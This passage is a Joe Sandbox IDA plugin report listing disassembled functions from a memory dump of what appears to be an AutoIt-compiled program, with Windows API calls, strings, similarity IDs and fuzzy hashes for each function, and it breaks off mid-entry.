GetProcessHeap.KERNEL32(00000008,0000000C,?,00000000,?,00B41D95,?,?,00000000), ref: 00B42159
HeapAlloc.KERNEL32(00000000,?,00B41D95,?,?,00000000), ref: 00B42160
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00B41D95,?,?,00000000), ref: 00B42175
GetCurrentProcess.KERNEL32(?,00000000,?,00B41D95,?,?,00000000), ref: 00B4217D
DuplicateHandle.KERNEL32(00000000,?,00B41D95,?,?,00000000), ref: 00B42180
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00B41D95,?,?,00000000), ref: 00B42190
GetCurrentProcess.KERNEL32(00B41D95,00000000,?,00B41D95,?,?,00000000), ref: 00B42198
DuplicateHandle.KERNEL32(00000000,?,00B41D95,?,?,00000000), ref: 00B4219B
CreateThread.KERNEL32(00000000,00000000,00B421C1,00000000,00000000,00000000), ref: 00B421B5

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 8bc9af364a60c33a3b09f2d7a05164402411f31a5313262aa7a36eff83ee7f41
Instruction ID: a76dedbc488f6525f503f3145455fd24f354a1a1d09c764df898da9712388a56
Opcode Fuzzy Hash: 8bc9af364a60c33a3b09f2d7a05164402411f31a5313262aa7a36eff83ee7f41
Instruction Fuzzy Hash: 5D01A8B5240304BFE610ABA5DC49F6B7BACEB88751F414411FA09EB6A1CA709840CA20

Function 00B6AB3F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 00B4DD87: CreateToolhelp32Snapshot.KERNEL32 ref: 00B4DDAC
Part of subcall function 00B4DD87: Process32FirstW.KERNEL32(00000000,?), ref: 00B4DDBA
Part of subcall function 00B4DD87: CloseHandle.KERNEL32(00000000), ref: 00B4DE87

OpenProcess.KERNEL32(00000001,00000000,?), ref: 00B6ABCA
GetLastError.KERNEL32 ref: 00B6ABDD
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00B6AC10
TerminateProcess.KERNEL32(00000000,00000000), ref: 00B6ACC5
GetLastError.KERNEL32(00000000), ref: 00B6ACD0
CloseHandle.KERNEL32(00000000), ref: 00B6AD21

Strings

SeDebugPrivilege, xrefs: 00B6ABEC

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: f3e89630de846d844333910663c24bca69398a1d37b5a0650bbd3dfc4de1147a
Instruction ID: 50a83a044c2980067ec243c508e63bc87276f07e36c99bb4ad6d300be62bd056
Opcode Fuzzy Hash: f3e89630de846d844333910663c24bca69398a1d37b5a0650bbd3dfc4de1147a
Instruction Fuzzy Hash: A4617970208241AFDB10DF15C994F29BBE1EF54308F5884DCE46A5BBA2CB75ED85CB92

Function 00B74322 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00B743C1
SendMessageW.USER32(00000000,00001036,00000000,?), ref: 00B743D6
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00B743F0
_wcslen.LIBCMT ref: 00B74435
SendMessageW.USER32(?,00001057,00000000,?), ref: 00B74462
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00B74490

Strings

SysListView32, xrefs: 00B74393

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: MessageSend$Window_wcslen
String ID: SysListView32
API String ID: 2147712094-78025650
Opcode ID: 19bf79ae7a0ed59135d8865bf9e94767b2658d4c76de3901221fdd8d1f8e45da
Instruction ID: f80756c1329ef238bdd58a0294294ec6baff756772bbad1b8201eb9ca4af507c
Opcode Fuzzy Hash: 19bf79ae7a0ed59135d8865bf9e94767b2658d4c76de3901221fdd8d1f8e45da
Instruction Fuzzy Hash: 8F41C071900209ABDB219F64CC49BEA7BF9FF08350F114566F92CE7291D7719980DB90

Function 00B4C625 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00B4C6C4
IsMenu.USER32(00000000), ref: 00B4C6E4
CreatePopupMenu.USER32 ref: 00B4C71A
GetMenuItemCount.USER32(012E5FF8), ref: 00B4C76B
InsertMenuItemW.USER32(012E5FF8,?,00000001,00000030), ref: 00B4C793

Strings

0, xrefs: 00B4C66F
2, xrefs: 00B4C6FE

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup
String ID: 0$2
API String ID: 93392585-3793063076
Opcode ID: 9fe8f7333a5ecfc2a45e305ac0d9ac4870458ef87bc9e06c84c1777e0b1f9b52
Instruction ID: ffba6506b42fbb900c17c330c5f8626e4f2d97371a27ce3ad27a7d70f33673d8
Opcode Fuzzy Hash: 9fe8f7333a5ecfc2a45e305ac0d9ac4870458ef87bc9e06c84c1777e0b1f9b52
Instruction Fuzzy Hash: 4651CF706022049BDF51CF68C8C8BAEBFF4EF54B58F24819AE81597291E7709E40EF61

Function 00B4D11F Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00B4D1BE

Strings

info, xrefs: 00B4D15F
blank, xrefs: 00B4D140
question, xrefs: 00B4D177
stop, xrefs: 00B4D18F
warning, xrefs: 00B4D1A7

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 55a61253f89bd1208fabf11108e13bfa546343a49eecc6edaef5b5a00ed5320c
Instruction ID: bed6cf17cbfc1a62d0b24367034716608b91c1a0f4120c24c6ef8ecc85b4c29e
Opcode Fuzzy Hash: 55a61253f89bd1208fabf11108e13bfa546343a49eecc6edaef5b5a00ed5320c
Instruction Fuzzy Hash: C611B77538C306BAEB055F54DC82D6A7BECDF06760B2001EAFD05B62C1DBB46F406160

Function 00B4E73E Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 70networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00B4E759
gethostname.WSOCK32(?,00000100), ref: 00B4E773
gethostbyname.WSOCK32(?), ref: 00B4E780
inet_ntoa.WSOCK32(?), ref: 00B4E7C2
_strcat.LIBCMT ref: 00B4E7D0
WSACleanup.WSOCK32 ref: 00B4E7F5

Strings

0.0.0.0, xrefs: 00B4E79E

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: CleanupStartup_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 642191829-3771769585
Opcode ID: c805e56ab3ad5a0eb5fa24f1f2771a20b1a2d117d320031856b3963524fe567c
Instruction ID: e06a47d1844363a19b4e2d107c2e2e8363651de9da2e41200d335d8ceebb2410
Opcode Fuzzy Hash: c805e56ab3ad5a0eb5fa24f1f2771a20b1a2d117d320031856b3963524fe567c
Instruction Fuzzy Hash: E711B4719041157BDB246B64DC4AEEA7BFCEF01760F0000E5F655A7091EF74DF81A650

Function 00B4F630 Relevance: 12.1, APIs: 8, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00B4F641
_wcslen.LIBCMT ref: 00B4F652
_wcslen.LIBCMT ref: 00B4F690
_wcslen.LIBCMT ref: 00B4F6C6
_wcslen.LIBCMT ref: 00B4F6F6
_wcslen.LIBCMT ref: 00B4F706
_wcslen.LIBCMT ref: 00B4F742
_wcslen.LIBCMT ref: 00B4F771

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: _wcslen$LocalTime
String ID:
API String ID: 952045576-0
Opcode ID: 270b9bf38a69c4a1eaf6d49b07398274262d2d402a74dc56620a7ce17b62d8ab
Instruction ID: 739def79a9122533c31c66f8578998a9915e4a12c6e9419b02d2ee59785bea7f
Opcode Fuzzy Hash: 270b9bf38a69c4a1eaf6d49b07398274262d2d402a74dc56620a7ce17b62d8ab
Instruction Fuzzy Hash: 41418165C10115A9DB11EBF88886ADFBBE8AF05310F5084A2E508E31A1FB34D761C3A6

Function 00AFFBC6 Relevance: 12.1, APIs: 8, Instructions: 124COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,00B239E2,00000004,00000000,00000000), ref: 00AFFC41
ShowWindow.USER32(FFFFFFFF,00000006,?,00000000,?,00B239E2,00000004,00000000,00000000), ref: 00B3FC15
ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,00B239E2,00000004,00000000,00000000), ref: 00B3FC98

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: e190abea14e9e1df5a0335a3302fdb3370ddb31dbd7f3c5ba050daa9e728401c
Instruction ID: 855822b045c80385b265dfec1b15f214960057d719c625b31f4b883463d0be44
Opcode Fuzzy Hash: e190abea14e9e1df5a0335a3302fdb3370ddb31dbd7f3c5ba050daa9e728401c
Instruction Fuzzy Hash: 3F41FB3150839D9EC7358B7889887397BF1EF46351F68457CFA4B47A60D631A881C711

Function 00B7379F Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00B737B7
GetDC.USER32(00000000), ref: 00B737BF
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00B737CA
ReleaseDC.USER32(00000000,00000000), ref: 00B737D6
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00B73812
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00B73823
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00B76504,?,?,000000FF,00000000,?,000000FF,?), ref: 00B7385E
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00B7387D

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 9d0975a5a336780e8dcf0d35a0a7bff622d2da4537e66eda17ae6c31e25d794c
Instruction ID: 6627d08db45307cf7c6090a9ea4ae307f79c24b989fac663a69412b492ce4cd5
Opcode Fuzzy Hash: 9d0975a5a336780e8dcf0d35a0a7bff622d2da4537e66eda17ae6c31e25d794c
Instruction Fuzzy Hash: 41319C72211214BFEB158F50CC8AFEB3BA9EF49751F044065FE0DAB291CAB59C81C7A0

Function 00B65A0B Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 359COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 00B65A64
NULL Pointer assignment, xrefs: 00B65A8B, 00B65DE0

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: 02537663fb7f078b9765c8499266e2e6a64e7c9f15eb19afd0a820579a81f158
Instruction ID: afcd5ad3ff30dca958b283f1c94ce9c17b48490cb38b680f2ef1dd0ce91fb6c5
Opcode Fuzzy Hash: 02537663fb7f078b9765c8499266e2e6a64e7c9f15eb19afd0a820579a81f158
Instruction Fuzzy Hash: 6FD1BF71A0060A9FDB20CFA8C885EAEB7F5FF48304F1481A9E915AB290D774ED95CB50

Function 00B218A2 Relevance: 10.8, APIs: 7, Instructions: 268COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000000,?,7FFFFFFF,?,?,00B21B7B,00000000,00000000,?,00000000,?,?,?,?,00000000), ref: 00B2194E
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,00B21B7B,00000000,00000000,?,00000000,?,?,?,?), ref: 00B219D1
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00B21B7B,?,00B21B7B,00000000,00000000,?,00000000,?,?,?,?), ref: 00B21A64
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,00B21B7B,00000000,00000000,?,00000000,?,?,?,?), ref: 00B21A7B

Part of subcall function 00B13B93: RtlAllocateHeap.NTDLL(00000000,?,?,?,00B06A79,?,0000015D,?,?,?,?,00B085B0,000000FF,00000000,?,?), ref: 00B13BC5

MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,00B21B7B,00000000,00000000,?,00000000,?,?,?,?), ref: 00B21AF7
__freea.LIBCMT ref: 00B21B22
__freea.LIBCMT ref: 00B21B2E

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
String ID:
API String ID: 2829977744-0
Opcode ID: 7d5ac01fdf58097fb49c1fcfdf3433e139ccf7f860fa0201f83b756215413b24
Instruction ID: 511361d52c0d1142654dd1ad5f32ca813c07951acdb6ba76c44a6cd23b15f449
Opcode Fuzzy Hash: 7d5ac01fdf58097fb49c1fcfdf3433e139ccf7f860fa0201f83b756215413b24
Instruction Fuzzy Hash: 9391C671E002269EDB208F6CEC95AEE7BF5EF29710F140AA9E819E7140E735DD81C760

Function 00B64F80 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00B650A5
VariantInit.OLEAUT32(?), ref: 00B651A6
VariantClear.OLEAUT32(?), ref: 00B651B0
VariantClear.OLEAUT32(?), ref: 00B6520D

Strings

Null Object assignment in FOR..IN loop, xrefs: 00B65035, 00B65163, 00B6521B
Incorrect Object type in FOR..IN loop, xrefs: 00B65189

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Variant$ClearInit
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2610073882-625585964
Opcode ID: 539be77672019f44610d856b7c0dc500381cc9d74c936819ee899b4d189c6ba3
Instruction ID: e84c530569920d8dc92836ae8a31095efb332dfde2a984cc5b7a25c15c61af29
Opcode Fuzzy Hash: 539be77672019f44610d856b7c0dc500381cc9d74c936819ee899b4d189c6ba3
Instruction Fuzzy Hash: 75917A71A00619ABDF20CFA5CC88FAEBBF8EF45714F108599F519AB280D7749945CFA0

Function 00B51B46 Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000000,?), ref: 00B51C1B
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00B51C43
SafeArrayUnaccessData.OLEAUT32(00000000), ref: 00B51C67
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00B51C97
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00B51D1E
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00B51D83
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00B51DEF

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ArraySafe$Data$Access$UnaccessVartype
String ID:
API String ID: 2550207440-0
Opcode ID: 99b186e59421953abd2594a122ebbf4c8be0f483b917df147ad4d861442e77c9
Instruction ID: ea613b96a1b59f9ba6e8ff5489aadefcb328941138dc411cc3f1f6638196968f
Opcode Fuzzy Hash: 99b186e59421953abd2594a122ebbf4c8be0f483b917df147ad4d861442e77c9
Instruction Fuzzy Hash: D591EF75A00219AFDB00DF9CC885BBEB7F4FF04712F1488E9E940AB291DB75A949CB50

Function 00B643A4 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 240COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00B643C8
CharUpperBuffW.USER32(?,?), ref: 00B644D7
_wcslen.LIBCMT ref: 00B644E7
VariantClear.OLEAUT32(?), ref: 00B6467C

Part of subcall function 00B5169E: VariantInit.OLEAUT32(00000000), ref: 00B516DE
Part of subcall function 00B5169E: VariantCopy.OLEAUT32(?,?), ref: 00B516E7
Part of subcall function 00B5169E: VariantClear.OLEAUT32(?), ref: 00B516F3

Strings

AUTOIT.ERROR, xrefs: 00B644DD, 00B644E2
Incorrect Parameter format, xrefs: 00B64403, 00B645FE

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper_wcslen
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4137639002-1221869570
Opcode ID: 3b1457475a88f1f1ca21f352ef5709ccb8fef99945ea6c7698fb1029702e1875
Instruction ID: b1ef0666e449b4f6e6da9739898a57604a15cc2adff90ad747f5abfe89395f59
Opcode Fuzzy Hash: 3b1457475a88f1f1ca21f352ef5709ccb8fef99945ea6c7698fb1029702e1875
Instruction Fuzzy Hash: A6919870A087419FC710EF28C58092AB7E5FF89714F1488ADF88A9B351DB35ED06CB92

Function 00B6560A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 00B408FE: CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B40831,80070057,?,?,?,00B40C4E), ref: 00B4091B
Part of subcall function 00B408FE: ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B40831,80070057,?,?), ref: 00B40936
Part of subcall function 00B408FE: lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B40831,80070057,?,?), ref: 00B40944
Part of subcall function 00B408FE: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B40831,80070057,?), ref: 00B40954

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,00000001,?,?), ref: 00B656AE
_wcslen.LIBCMT ref: 00B657B6
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,?), ref: 00B6582C
CoTaskMemFree.OLE32(?), ref: 00B65837

Strings

NULL Pointer assignment, xrefs: 00B65880, 00B658AF

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: FreeFromProgTask$CreateInitializeInstanceSecurity_wcslenlstrcmpi
String ID: NULL Pointer assignment
API String ID: 614568839-2785691316
Opcode ID: ebcd6f2c16e301dc028ca2fe399c001514f9c6cb662a813d8df4d2ca682b1225
Instruction ID: e57f5159ed6be2a3c5eed657663a9acecbdbd4b2230e17ade484ddddff595329
Opcode Fuzzy Hash: ebcd6f2c16e301dc028ca2fe399c001514f9c6cb662a813d8df4d2ca682b1225
Instruction Fuzzy Hash: EA910671D10259EFDF21DFA4DC80AEEBBB8BF08304F1045A9E915A7251EB749A54CF60

Function 00B72B99 Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00B72C1F
GetMenuItemCount.USER32(00000000), ref: 00B72C51
